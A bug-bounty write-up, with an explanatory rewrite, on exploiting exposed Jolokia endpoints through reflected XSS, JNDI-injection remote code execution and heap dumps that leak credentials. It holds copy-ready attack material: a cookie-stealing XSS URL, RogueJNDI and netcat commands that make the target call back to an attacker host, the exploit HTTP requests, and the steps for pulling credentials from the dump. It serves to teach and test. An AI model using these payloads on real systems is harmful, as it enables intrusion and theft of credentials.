How I made more than $30K with Jolokia CVEs
Jolokia endpoints were publicly exposed and vulnerable to reflected XSS, JNDI injection leading to remote code execution, and heap dump information disclosure. An attacker could execute arbitrary Java code, steal credentials from memory, or run JavaScript in a victim's browser.
Published on wss.sh
First and foremost: This blog post is mostly inspired by the Gotham Security : jolokia-vulnerabilities-rce-xss write-up. None of what you are about to read is really new; I just found it difficult to find a complete write-up which describes the most common misconfigurations, so I decided to spin my own testing…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Jolokia is a Java Management Extension (JMX) bridge that lets users perform actions over HTTP GET and POST requests using JSON. It is mostly deployed for monitoring: reporting on Java memory consumption, CPU usage and similar metrics. Because it exposes JMX operations over HTTP, a publicly reachable Jolokia endpoint lets a visitor interact with the JVM's management operations.
This write-up walks through the common misconfigurations and the published CVEs that follow from them. The author states plainly that none of it is really new: the post is inspired by the Gotham Security write-up on Jolokia vulnerabilities (RCE and XSS), and its purpose is to give a single complete description of the most common misconfigurations, backed by a self-built test environment. Based on this research the author earned $33,500 in bounties across multiple targets, and notes there is likely more to find.
The article is split in two: the first part explains Jolokia's main functionality and how to set up a test environment; the second focuses on exploiting already published CVEs. Successful exploitation varies with the version and implementation you encounter, but in the author's tests most bugs could be confirmed without problems.
Setup
Finding Jolokia in the first place
During security issue hunts the author came across quite a few servers with a Jolokia endpoint enabled. A regular ffuf or dirsearch run against your targets will surface results listed as /jolokia, /jolokia/list, or in combination with actuator. If the extension was installed using Tomcat, the service is usually found on port 8080. Depending on configuration, public access should be prohibited, but the author identified plenty of cases where these endpoints were publicly exposed. As always, it is a matter of luck.
Ubuntu minimal installation
To understand what Jolokia is capable of, the author installed a minimal version of Ubuntu (any other Linux distribution works too) and set up a virtual machine using VMware Fusion. After completing the base system installation (including SSH, VIM and so on), the next part is installing the Tomcat Manager on the system.
Tomcat installation and configuration
Tomcat needs Java on the system. The author runs sudo apt install default-jdk and follows the setup process. Tomcat runs as an independent user, so a new group named tomcat is added with sudo groupadd tomcat and sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat. Next, the appropriate directories are assigned to the user and access is restricted. The author summarises the necessary steps below; the latest version at the time of writing was 9.0.34.
sudo apt install default-jdk
sudo groupadd tomcat
sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
cd /tmp/
curl -O https://mirror.checkdomain.de/apache/tomcat/tomcat-9/v9.0.34/bin/apache-tomcat-9.0.34.tar.gz
sudo mkdir /opt/tomcat
sudo tar xzvf apache-tomcat-*tar.gz -C /opt/tomcat --strip-components=1
cd /opt/tomcat
sudo chgrp -R tomcat /opt/tomcat
sudo chmod -R g+r conf
sudo chmod g+x conf
sudo chown -R tomcat webapps/ work/ temp/ logs/
vim /etc/systemd/system/tomcat.service
To access the Tomcat management interface you need to create the manager and admin role by specifying a username and a password. For the demo the author chose the combination admin and password, with the explicit warning never to make credentials that simple on a publicly reachable server.
The change goes into the Tomcat configuration file, appending this line at the end:
<user username="admin" password="password" roles="manager-gui,admin-gui"/>
If everything is correct, the Tomcat Management Interface is reachable on the IP of the virtual machine. You can find that out with ifconfig, which shows something like ens33 (your interface) followed by its class C IP address. In the author's case it is http://[redacted]:8080/manager. Visiting the IP in a browser presents a basic authentication prompt; use the credentials created earlier and added to the Tomcat conf file.
Installing Jolokia
Installation is straightforward: download the desired version of Jolokia, in this example the vulnerable version 1.3.4. Then browse to the Tomcat management interface (in the author's case http://[redacted]:8080/manager/html), click on "Deploy WAR", select the Jolokia WAR file and let Tomcat handle the installation. Browsing http://[redacted]:8080/jolokia/ should then return a response similar to:
{
"request":{
"type":"version"
},
"value":{
"agent":"1.4.0",
"protocol":"7.2",
"config":{
[..]
},
"info":{
"product":"tomcat",
"vendor":"Apache",
"version":"9.0.34"
}
},
"timestamp":1592211957,
"status":200
}
This confirms a successful installation and the environment is ready for testing the actual implementation.
Attacker-side VPS and tools
For the exploitation setup the author used a cheap VPS from DigitalOcean: Ubuntu with 1GB of memory, one vCPU and 25GB of SSD disk. These resources are more than enough. The region was always the one closest to the author's physical location to avoid latency (Frankfurt in this case). IPv6 support was added to the droplets for better coverage of IPv4 and IPv6 targets, and authentication uses SSH keys.
After deploying the machine, log in over SSH with ssh root@yourip and install the following tools.
To exploit the Remote Execution CVE you need the helper tool Rogue JNDI, which creates a malicious LDAP server for JNDI injection and exploitation. The following commands install the latest Oracle Java SDK, needed to compile the required files, and the maven package to collect the libraries needed to compile the project.
echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installer
sudo update-alternatives --config java
apt-get install maven
Once completed without errors, clone the repository with git clone https://github.com/veracode-research/rogue-jndi, cd into the folder (cd rogue-jndi) and run maven package. You should end up with a directory called target containing the compiled Java files.
The author also recommends jq, a lightweight and flexible command-line JSON processor, to display long, complex JSON responses in a readable manner.
Finding it
Information gathering is fundamental, as in every bug bounty or penetration testing assessment: the goal is to learn as much as possible about the target and its underlying system in order to exploit it effectively. After a regular ffuf or dirsearch run, if you find a Jolokia instance, the first thing to do is query its version:
curl https://target/jolokia/version –insecure | jq .
This returns basic information about the Jolokia version in use. In the author's case the response was:
{
"request": {
"type": "version"
},
"value": {
"agent": "1.3.4",
"protocol": "7.2",
"config": {
"maxCollectionSize": "0",
"agentId": "",
"debug": "false",
"agentType": "servlet",
"policyLocation": "file:/opt/tomcat/server/conf/jolokia-access.xml",
"serializeException": "false",
"detectorOptions": "{}",
"dispatcherClasses": "org.jolokia.jsr160.Jsr160RequestDispatcher",
"agentDescription": "JobService0",
"maxDepth": "15",
"discoveryEnabled": "false",
"canonicalNaming": "true",
"historyMaxEntries": "10",
"includeStackTrace": "true",
"maxObjects": "0",
"mbeanQualifier": "qualifier=jolokia0",
"debugMaxEntries": "100"
},
"info": {
"product": "activemq",
"vendor": "Apache",
"version": "5.15.3"
}
},
"timestamp": 1586451282,
"status": 200
}
The agent version is 1.3.4. This matters because searching for CVEs depends on identifying affected versions and the versions where vulnerabilities were fixed. For example, the CVE-2018-1000130 description states:
A JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.
Another interesting piece is policyLocation, which reveals the installation path of Tomcat. That is helpful because if you know it, you do not need to brute-force it, and the author uses it later to exploit an information disclosure vulnerability. The author has also found servers running in debug mode, which allows attackers to obtain sensitive information about the system and the components used.
The next step is to identify the different methods available. Run:
curl https://<target>/jolokia/list/ –insecure | jq .
where <target> is your target's URL. The response depends on the setup; a default installation should look similar to:
{
"request": {
"type": "list"
},
"value": {
"jdk.management.jfr": {
"type=FlightRecorder": {
"op": {
"getRecordingOptions": {
"args": [
{
"name": "p0",
"type": "long",
"desc": "p0"
}
],
[..]
This lists all available functions you can interact with. Sometimes there will be hundreds; some are helpful, others are not. These functions are called MBeans. An MBean can represent a device, an application, or any resource that needs to be managed, and exposes an abstract management interface that usually consists of a set of readable or writeable attributes (in some cases both), a set of invokable operations and a short description. Jolokia supports three very basic operations: exec for executing a method, read for reading a method and search for searching a method. Most of the Jolokia protocol can be accessed with either a POST or a GET request combined with any of these operations.
With an overview of the supported functionalities and the version in use, exploitation can begin.
Exploitation
Step 1: Reflected XSS via CVE-2018-1000129
Prior to version 1.5.0, Jolokia was vulnerable to a basic reflected cross-site scripting attack because the mimeType could be arbitrarily set by an attacker. The documentation states:
The MIME type to return for the response. By default, this is text/plain, but it can be useful for some tools to change it to application/json. Init parameters can be used to change the default mime type.
The author of the CVE identified that it was possible to change the mimeType to text/html, which instructs the browser to interpret the server's response as HTML. A payload like <svg%20onload=alert(document.cookie)> is then interpreted as valid JavaScript. The fix only allows the mime types text/plain and application/json, preventing attacks that use JavaScript.
To quickly check whether a target is vulnerable, visit the following path:
https://<target>/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
If vulnerable, you see the familiar JavaScript alert, which indicates a successful cross-site scripting attack.
Step 2: Remote code execution via CVE-2018-1000130
CVE-2018-1000130 states:
The Java Naming and Directory Interface (JNDI) is a Java API for directory services such as LDAP. To find this vulnerability you need to dig deeper into Jolokia's functionality. One method usable with an MBean is a managed Java object, similar to a JavaBeans component; the managed Java object must follow the design patterns set in the JMX specification. In this example the MBean java.lang:type=Memory is used, which supports attaching a URL object to it. In that URL object an RMI reference to a JNDI API is specified, which makes a call to an LDAP server. Using the rogue LDAP server from the setup, a valid server serves a malicious payload and exploits an unsafe reflection in org.apache.naming.factory.BeanFactory, resulting in remote code execution.
Start the malicious LDAP server with RogueJNDI:
java -jar target/RogueJndi-1.0.jar –command "curl http://<yourserver.com>:7777" –hostname "<yourattackingserver>"
This creates an LDAP service on your server and prepares the payload to be delivered to the Jolokia service. Adjust the command part: that is your payload. The author used a simple curl command to trigger an outgoing connection to the server, but depending on the operating system the Jolokia service runs on you may want to adjust it to nslookup (for Windows) or another similar command to prove exploitation. The hostname parameter should match the IP of your server if you want it publicly accessible. Rogue JNDI supports multiple payloads for a variety of systems such as Tomcat and Websphere; this example focuses on Tomcat.
After the LDAP server has started, create a second listener that waits for the command or payload specified earlier. Following the curl example, the author usually sets up a simple netcat listener:
nc -lvp 7777
This opens port 7777 and waits for incoming connections.
Then open Burp Suite, or any other intercepting proxy, and send a request to the vulnerable target server similar to:
POST /jolokia/read/getDiagnosticOptions HTTP/1.1
Host: YourTarget
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
{
"type" : "read",
"mbean" : "java.lang:type=Memory",
"target" : {
"url" : "service:jmx:rmi:///jndi/ldap://YourServer:1389/o=tomcat"
}
}
The body is a read operation against the java.lang:type=Memory MBean, with a target.url pointing at the attacker's LDAP endpoint. Change the IP address and the LDAP endpoint so the request executes successfully. After sending the request you should see an incoming request on the netcat listener. If you get this far, you have successfully run remote code execution on the Jolokia server.
Step 3: Java heap information disclosure
As a final part, the author demonstrates an exploitation technique that is not currently well documented and has no public CVE reference. Using the com.sun.management:type=HotSpotDiagnostic MBean it is possible to create a heap dump of the current Java processes. Heap space in Java is used for dynamic memory allocation for Java objects at runtime: new objects are always created in heap space, and references to these objects are stored in stack memory. Depending on what is currently in memory, this can lead to juicy information disclosure. The dumpHeap operation in Jolokia additionally allows setting an argument for where to store the heap dump file. An attacker can control this argument and specify an arbitrary path. In the example the file is stored in the ROOT directory of the Tomcat server so it is served to the public and becomes accessible.
Send the following request in Burp Suite or any other intercepting proxy:
POST /jolokia/ HTTP/1.1
Host: [redacted]:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
{
"type":"EXEC",
"mbean":"com.sun.management:type=HotSpotDiagnostic",
"operation":"dumpHeap",
"arguments":["/opt/tomcat/webapps/ROOT/test1.hprof",0]
}
This creates a file called test1.hprof in the default Tomcat directory /opt/tomcat/webapps/ROOT/. The file can then be downloaded by browsing to https://<target>/jolokia/test1.hprof. Depending on the load of the server, the file may be several hundreds of megabytes and may take quite some time to download.
Once downloaded, a tool like VisualVM can investigate the file. Open VisualVM, click on File -> Load File and open the HPROF file. You are presented with a summary of what the heap dump contains (classes, objects and so on). Because these dumps usually contain a massive amount of data, VisualVM lets you filter for keywords; evergreens in pentests and bug bounties are secret, authentication, bearer and similar. In this example it was possible to find the basic authentication credentials for the Tomcat server.
The same can be done from the terminal with preinstalled tools:
cat test1.hprof | strings | grep authorization:
which gives:
authorization:Basic YWRtaW46cGFzc3dvcmQ==
The username and password pair is Base64 encoded and can be decoded with:
echo YWRtaW46cGFzc3dvcmQ== | base64 -d
which gives the username and password pair admin:password, the credentials created earlier in the tutorial.
Once credentials have been obtained from the dump, an attacker would use them to log into the management interface of Tomcat, deploy their own WAR files and most likely perform remote code execution.
Root cause
Three separate weaknesses are at play.
- Reflected XSS (CVE-2018-1000129). The
mimeTyperequest parameter was honoured without restriction, so an attacker could set it totext/htmland have the browser render the JSON response as HTML. The payload in the path was then interpreted as JavaScript. The fix restricts the accepted mime types totext/plainandapplication/json. - JNDI injection (CVE-2018-1000130). In proxy mode, the agent accepts a
target.urlin the request and resolves it through JNDI. Combined with an unsafe reflection inorg.apache.naming.factory.BeanFactory, a reference to an attacker-controlled LDAP server leads to arbitrary Java code execution on the server. The vulnerability is described as affecting agent version 1.3.7 in proxy mode. - Heap dump path control. The
dumpHeapoperation ofcom.sun.management:type=HotSpotDiagnosticaccepts a file path argument, and Jolokia lets the caller supply it. Writing the dump into the web root turns an internal diagnostic into a publicly downloadable file containing whatever was in memory, including credentials.
In all three cases the underlying design assumption is that the Jolokia endpoint is not reachable by untrusted users. Public access should be prohibited, but the author found plenty of publicly exposed instances, so that assumption did not hold.
Impact
The impact depends on which of the issues is present and on the version and implementation encountered.
- The reflected XSS is demonstrated with a payload that calls
alert(document.cookie). - The JNDI injection allows a remote attacker to run arbitrary Java code on the server, as stated in the CVE description. In the demonstration the proof is an outgoing
curlconnection to the attacker's listener. - The heap dump discloses whatever is in the JVM heap. In the demonstration it exposed the Tomcat basic authentication credentials, which an attacker would use to log into the management interface, deploy WAR files and most likely achieve remote code execution.
Based on this research the author earned $33,500 in bounties across multiple targets. Successful exploitation may vary by version and implementation, though most bugs were confirmed without problems in the author's tests.
Fix
For the XSS, the remediation described is to only allow the mime types text/plain and application/json, which prevents attacks using JavaScript. For the other two issues the report does not describe a code change; the practical control it points to is that public access to the Jolokia endpoint should be prohibited. The author also warns against simple credentials such as admin and password on a publicly reachable server, since a heap dump can expose them.
Variants to test
- Version fingerprint. Request
/jolokia/versionand readvalue.agent. A positive result is a version matching the CVE description you intend to try, for example1.3.4in the author's environment. - MBean enumeration. Request
/jolokia/list/and look for MBeans that accept URL objects or file paths. A positive result is a list containing entries such asjava.lang:type=Memoryorcom.sun.management:type=HotSpotDiagnostic. - Mime type override. Request the read path with
?mimeType=text/htmland an HTML payload in the path. A positive result is the browser executing the payload, for example an alert showingdocument.cookie. - JNDI proxy. Send a
readagainstjava.lang:type=Memorywith atarget.urlpointing at your own LDAP listener. A positive result is an incoming connection on your listener from the target. - Heap dump to web root. Send an
EXECofdumpHeapwith a path inside the web root, then fetch the file over HTTP. A positive result is a downloadable.hproffile; filter it forsecret,authenticationorbearer, or grep forauthorization:. - Debug mode and paths. Check the
versionresponse fordebugset totrueand forpolicyLocation, which reveals the Tomcat installation path and saves brute-forcing. - Actuator combinations. Include
/actuatorcombinations in your directory brute-force alongside/jolokiaand/jolokia/list, and check port 8080 on Tomcat installations.
What happened, in plain words
A security researcher spent time looking at a piece of software called Jolokia, which is used on Java web servers to report on how the server is doing (how much memory it is using, how busy the processor is, and so on). Jolokia is meant for monitoring, and public access to it should be prohibited by configuration. The researcher found many servers where the Jolokia endpoint was publicly exposed.
When that happens, a stranger can ask the server questions and give it instructions through ordinary web requests, the same kind your browser sends when you open a page. The researcher used three separate weaknesses to show what an attacker could do: make a victim's browser run malicious JavaScript (cross-site scripting), make the server run commands of the attacker's choosing (remote code execution), and download a copy of the server's memory, which contained a username and password (information disclosure).
Based on this research, the researcher earned $33,500 in bug bounty payments across multiple targets. A bug bounty is a scheme where companies pay people who find and report security problems in their systems. The researcher is clear that none of this is new: the article is based on earlier public research by Gotham Security, and its value is that it collects the most common mistakes in one place, with a test environment you can build yourself.
The article has two halves. The first explains what Jolokia is and how to build a small practice server on your own computer. The second walks through the actual attacks, one by one. Which attacks work depends on the version of Jolokia and how it was set up, but in the researcher's tests most of them could be confirmed without trouble.
Setting up a practice server
How people find Jolokia in the first place
Before any attack, you have to find a server that has Jolokia switched on. Attackers and testers do this with tools that try a long list of common web addresses against a target and report which ones answer. Two popular ones are ffuf and dirsearch. If you run one of these against a target, results may appear as /jolokia, /jolokia/list, or combined with actuator (another monitoring feature that is often installed alongside).
If Jolokia was installed through a Java web server called Tomcat, it usually lives on port 8080. A port is a numbered doorway on a computer; a single machine can run many services, each listening on its own number, and 8080 is a common alternative to the standard web port 80. Public access to Jolokia should be blocked by configuration, but the researcher found plenty of cases where it was not. Finding one is, as the article puts it, a matter of luck.
Building a small Linux machine
To understand what Jolokia can do, the researcher installed a minimal version of Ubuntu, a free Linux operating system, inside a virtual machine. A virtual machine is a computer simulated inside your real computer: it behaves like a separate machine, so you can break things without harming your own system. The tool used was VMware Fusion, which runs on Macs. Any other Linux distribution would work too. After the base installation, which included SSH (a way to log in to a machine remotely through a text terminal) and VIM (a text editor), the next step was to install the Tomcat Manager.
Installing and configuring Tomcat
Tomcat is a program that serves Java web applications. It needs Java itself, so the first command installs the default Java development kit. Tomcat should not run as the all-powerful root user, so the next commands create a dedicated user and group called tomcat and give that user ownership of the folders Tomcat needs. The researcher notes that the latest version at the time of writing was 9.0.34.
sudo apt install default-jdk
sudo groupadd tomcat
sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
cd /tmp/
curl -O https://mirror.checkdomain.de/apache/tomcat/tomcat-9/v9.0.34/bin/apache-tomcat-9.0.34.tar.gz
sudo mkdir /opt/tomcat
sudo tar xzvf apache-tomcat-*tar.gz -C /opt/tomcat --strip-components=1
cd /opt/tomcat
sudo chgrp -R tomcat /opt/tomcat
sudo chmod -R g+r conf
sudo chmod g+x conf
sudo chown -R tomcat webapps/ work/ temp/ logs/
vim /etc/systemd/system/tomcat.service
Line by line:
sudo apt install default-jdkinstalls Java.sudomeans "run this as the administrator";aptis the package installer on Ubuntu.sudo groupadd tomcatcreates a new group, a collection of user accounts that can share permissions.sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcatcreates a user called tomcat.-s /bin/falsegives it a login shell that does nothing, so nobody can log in as this user;-g tomcatputs it in the group just created;-d /opt/tomcatsets its home folder.cd /tmp/moves to the temporary folder, a scratch area for downloads.curl -O https://...apache-tomcat-9.0.34.tar.gzdownloads the Tomcat archive.curlis a command-line tool for fetching web content, and-Osaves it under its original name.sudo mkdir /opt/tomcatcreates the folder where Tomcat will live.sudo tar xzvf apache-tomcat-*tar.gz -C /opt/tomcat --strip-components=1unpacks the archive into that folder.tarbundles and unbundles files;--strip-components=1drops the top-level folder inside the archive so the files land directly in/opt/tomcat.cd /opt/tomcatmoves into the Tomcat folder.sudo chgrp -R tomcat /opt/tomcatchanges the group owner of everything there to tomcat.-Rmeans recursively, including all subfolders.sudo chmod -R g+r confandsudo chmod g+x confgive the group read and execute permission on the configuration folder. Permissions decide who may read, change or run a file.sudo chown -R tomcat webapps/ work/ temp/ logs/hands those four working folders to the tomcat user, so the service can write to them.vim /etc/systemd/system/tomcat.serviceopens a new service definition file in the text editor. A service file tells the operating system how to start and stop a program automatically.
To reach the Tomcat management interface, you need an account with the manager and admin roles. A role is a label that grants a set of permissions. For the demo the researcher chose the username admin and the password password, and warns explicitly never to use credentials that simple on a server anyone can reach.
The account is added by appending this line to the end of the Tomcat configuration file:
<user username="admin" password="password" roles="manager-gui,admin-gui"/>
This is one entry in an XML file, a text format built from tags in angle brackets. It defines a user with the given name and password and grants two roles: manager-gui, which allows using the web management screens, and admin-gui, which allows administering the server.
If everything worked, the management interface is reachable at the virtual machine's address. You find that address with ifconfig, a command that lists your network interfaces; it shows something like ens33 (the interface name) followed by its address. In the researcher's case the interface is at http://[redacted]:8080/manager. Opening that address in a browser brings up a login prompt asking for a username and password: that is basic authentication, a simple built-in login where the browser sends the credentials with every request. Enter the account created above.
Installing Jolokia
Installing Jolokia is simple. Download the version you want, in this example the vulnerable version 1.3.4, then open the Tomcat management interface (http://[redacted]:8080/manager/html in the researcher's case), click "Deploy WAR", choose the Jolokia file and let Tomcat install it. A WAR file is a packaged Java web application, the Java equivalent of a zip file containing a whole small website.
Opening http://[redacted]:8080/jolokia/ should then return something like:
{
"request":{
"type":"version"
},
"value":{
"agent":"1.4.0",
"protocol":"7.2",
"config":{
[..]
},
"info":{
"product":"tomcat",
"vendor":"Apache",
"version":"9.0.34"
}
},
"timestamp":1592211957,
"status":200
}
This is JSON, a text format for structured data that both people and programs can read. It is built from pairs of a name and a value, grouped with curly braces. Here request.type says the request asked for the version; value.agent is the Jolokia version answering; value.info describes the underlying product, here Tomcat 9.0.34 from Apache; timestamp is when the answer was produced; and status 200 is the standard web code meaning "OK". Seeing this confirms the installation worked and the environment is ready for testing.
The attacker's own server and tools
Some of the attacks need a server the attacker controls, reachable from the target over the internet. For this the researcher used a cheap VPS from DigitalOcean. A VPS, or virtual private server, is a computer you rent by the month in a data centre, which you control completely. The chosen machine had Ubuntu, 1GB of memory, one vCPU (one processor core) and 25GB of solid-state disk, which is more than enough. The region was always the one closest to the researcher's physical location to keep latency low; latency is the delay in sending data back and forth, and a closer data centre means a shorter delay. Frankfurt was closest in this case. IPv6 support was enabled on the servers so they could reach targets on both the old and new internet addressing schemes. Login uses SSH keys instead of passwords: a key is a long file that proves your identity, and it cannot be guessed the way a password can.
After the machine is running, log in over SSH with ssh root@yourip, replacing yourip with the server's address, and install the tools below.
To exploit the remote code execution flaw you need a helper tool called Rogue JNDI. It creates a fake directory server that hands out a malicious answer; the next section explains what that means. The commands below install the Oracle Java development kit, needed to compile the tool, and maven, a tool that fetches the libraries a Java project depends on and builds it.
echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installer
sudo update-alternatives --config java
apt-get install maven
Line by line:
- The first two
echocommands write two lines into a file that tells the package installer where to find Oracle's Java.teewrites text to a file while also showing it on screen;-ameans append rather than overwrite. A PPA is a third-party software source. apt-key adv --keyserver ... --recv-keys EEA14886downloads the cryptographic key that signs that software source, so the installer can verify the packages really come from it.apt-get updaterefreshes the installer's list of available software.apt-get install oracle-java8-installerinstalls Java 8.sudo update-alternatives --config javalets you choose which installed Java is the default when several exist.apt-get install maveninstalls the build tool.
Once that finishes without errors, fetch the tool's source code with git clone https://github.com/veracode-research/rogue-jndi. Git is a version control system that tracks changes to code, and cloning makes a local copy of a project hosted online. Then cd into the folder (cd rogue-jndi) and run maven package, which compiles the code. You should end up with a folder called target containing the compiled Java files.
The researcher also recommends installing jq, a small command-line tool that reformats JSON so long, complicated responses become readable instead of one dense block.
Looking around the target
Gathering information is the foundation of every bug bounty or penetration test. The goal is to learn as much as possible about the target and the system underneath it, so that later steps can be chosen with care rather than guessed. After a scan with ffuf or dirsearch, if you find a Jolokia instance, the first thing to do is ask it which version it is:
curl https://target/jolokia/version –insecure | jq .
curl fetches the address; –insecure tells it not to stop when a certificate cannot be verified (a certificate is what proves a website's identity, and test servers often use ones that cannot be checked); the vertical bar | passes the output to the next command; jq . pretty-prints the JSON. In the researcher's case the answer was:
{
"request": {
"type": "version"
},
"value": {
"agent": "1.3.4",
"protocol": "7.2",
"config": {
"maxCollectionSize": "0",
"agentId": "",
"debug": "false",
"agentType": "servlet",
"policyLocation": "file:/opt/tomcat/server/conf/jolokia-access.xml",
"serializeException": "false",
"detectorOptions": "{}",
"dispatcherClasses": "org.jolokia.jsr160.Jsr160RequestDispatcher",
"agentDescription": "JobService0",
"maxDepth": "15",
"discoveryEnabled": "false",
"canonicalNaming": "true",
"historyMaxEntries": "10",
"includeStackTrace": "true",
"maxObjects": "0",
"mbeanQualifier": "qualifier=jolokia0",
"debugMaxEntries": "100"
},
"info": {
"product": "activemq",
"vendor": "Apache",
"version": "5.15.3"
}
},
"timestamp": 1586451282,
"status": 200
}
The important field is value.agent, which reads 1.3.4. Version numbers matter because known vulnerabilities are tied to specific versions: a CVE, short for Common Vulnerabilities and Exposures, is a public catalogue entry for one security flaw, and each entry says which versions are affected and which version fixed it. For example, the description of CVE-2018-1000130 says:
A JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.
Another useful field is policyLocation, which shows where Tomcat is installed on the disk. That saves an attacker from guessing paths, and the researcher uses it later when exploiting the information disclosure. The researcher also found servers running with debug set to true, a mode meant for troubleshooting that reveals extra detail about the system and the components in use.
The next step is to list the operations the server offers. Run:
curl https://<target>/jolokia/list/ –insecure | jq .
where <target> is the target's address. The answer depends on the setup; a default installation looks roughly like:
{
"request": {
"type": "list"
},
"value": {
"jdk.management.jfr": {
"type=FlightRecorder": {
"op": {
"getRecordingOptions": {
"args": [
{
"name": "p0",
"type": "long",
"desc": "p0"
}
],
[..]
This is a long list of everything you can ask the server to do. Sometimes there are hundreds of entries; some are useful to an attacker, most are not. Each entry is called an MBean, short for Managed Bean. An MBean represents a device, an application or any resource that needs to be managed, and it exposes a small management interface: attributes you can read or write (sometimes both), operations you can invoke, and a short description. Think of an MBean as a labelled control panel for one part of the system, with dials you can read and buttons you can press.
Jolokia offers three basic operations: exec to run a method, read to read a value, and search to look for MBeans. Most of the Jolokia protocol can be used with either a POST or a GET request combined with one of these. A GET request asks for something and puts its details in the address; a POST request sends data in the body of the request. With the list of available operations and the version in hand, the attacks can begin.
The attacks
Step 1: making a browser run your JavaScript (CVE-2018-1000129)
Cross-site scripting, usually shortened to XSS, is a flaw where an attacker gets their own JavaScript to run inside someone else's browser while that person is visiting a trusted site. JavaScript is the programming language browsers run to make pages interactive; if an attacker can slip some in, it runs with the trust of the page it appears on. The "reflected" variety means the malicious input is echoed straight back in the response rather than stored on the server.
Before version 1.5.0, Jolokia was vulnerable to a basic reflected XSS because the mimeType could be set to anything by the person making the request. A MIME type is the label a server attaches to a response saying what kind of content it is, such as plain text, an image, or a web page. The documentation says:
The MIME type to return for the response. By default, this is text/plain, but it can be useful for some tools to change it to application/json. Init parameters can be used to change the default mime type.
The person who reported the CVE found that the mime type could be changed to text/html, which tells the browser to treat the response as a web page rather than as plain text. A payload like <svg%20onload=alert(document.cookie)> is then treated as valid JavaScript. An SVG is an image format written in the same markup language as web pages, and onload is an event that fires when the image finishes loading; %20 is simply an encoded space. alert(document.cookie) pops up a box showing the browser's cookies for that site. A cookie is a small piece of data a website stores in your browser, often used to remember that you are logged in, so reading it is a serious matter. The fix only allows the mime types text/plain and application/json, which stops JavaScript from running.
To check quickly whether a target is vulnerable, visit this address:
https://<target>/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Reading it in parts: https://<target> is the site; /api/jolokia/read is the Jolokia operation being called; the part in angle brackets is the payload, which the server reflects back; and ?mimeType=text/html is the setting that tells the browser to treat the answer as a web page. If the target is vulnerable, the browser shows the familiar JavaScript alert box, which proves the cross-site scripting worked.
Step 2: making the server run your commands (CVE-2018-1000130)
This is the remote code execution flaw, the most serious of the three. Remote code execution means an attacker can make the target computer run commands of their choosing, which usually amounts to taking the machine over. The CVE description reads:
JNDI, the Java Naming and Directory Interface, is a Java feature for looking things up in directory services. A directory service is like a phone book for a network: you ask for a name and it returns the details attached to it. LDAP is one common kind of directory service. "Injection" means the attacker's input is fed into such a lookup, so the server ends up contacting a directory the attacker controls and trusting what it says.
To find this flaw you have to look more closely at what Jolokia can do. One thing you can do with an MBean is attach a URL object to it. A URL is simply an address, and here it points at a directory lookup. In this example the MBean java.lang:type=Memory is used, which supports attaching such a URL. Inside that URL an RMI reference to a JNDI lookup is placed; RMI, Remote Method Invocation, is Java's way of calling code on another machine. The lookup then makes the server contact an LDAP server. Using the fake LDAP server from the setup, the attacker's server hands back a malicious answer, which exploits an unsafe reflection in org.apache.naming.factory.BeanFactory. Reflection is a Java feature that lets code create and call things by name at runtime; used carelessly, it lets an attacker's data decide what code runs. The result is remote code execution.
Start the fake LDAP server with RogueJNDI:
java -jar target/RogueJndi-1.0.jar –command "curl http://<yourserver.com>:7777" –hostname "<yourattackingserver>"
java -jar runs a packaged Java program. –command is the command the target will be tricked into running; here it is a simple curl that makes the target connect back to the attacker's server on port 7777, which proves the command ran. –hostname is the address of the attacker's own server, so the target knows where to fetch the malicious answer from. Adjust the command to suit the target's operating system: on Windows, nslookup (a tool that looks up names) is a good equivalent. Rogue JNDI can produce payloads for several systems such as Tomcat and Websphere; this example focuses on Tomcat.
Once the fake LDAP server is running, start a second listener that waits for the connection the command will make. Following the curl example, the researcher uses a simple netcat listener:
nc -lvp 7777
nc is netcat, a tool that reads and writes network connections. -l means listen, -v means show details, -p 7777 means use port 7777. It sits there waiting for anything to connect to that port.
Then open Burp Suite, or any other intercepting proxy, and send a request to the vulnerable server. An intercepting proxy is a program that sits between your browser and the target, letting you see and edit each request before it is sent. The request looks like:
POST /jolokia/read/getDiagnosticOptions HTTP/1.1
Host: YourTarget
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
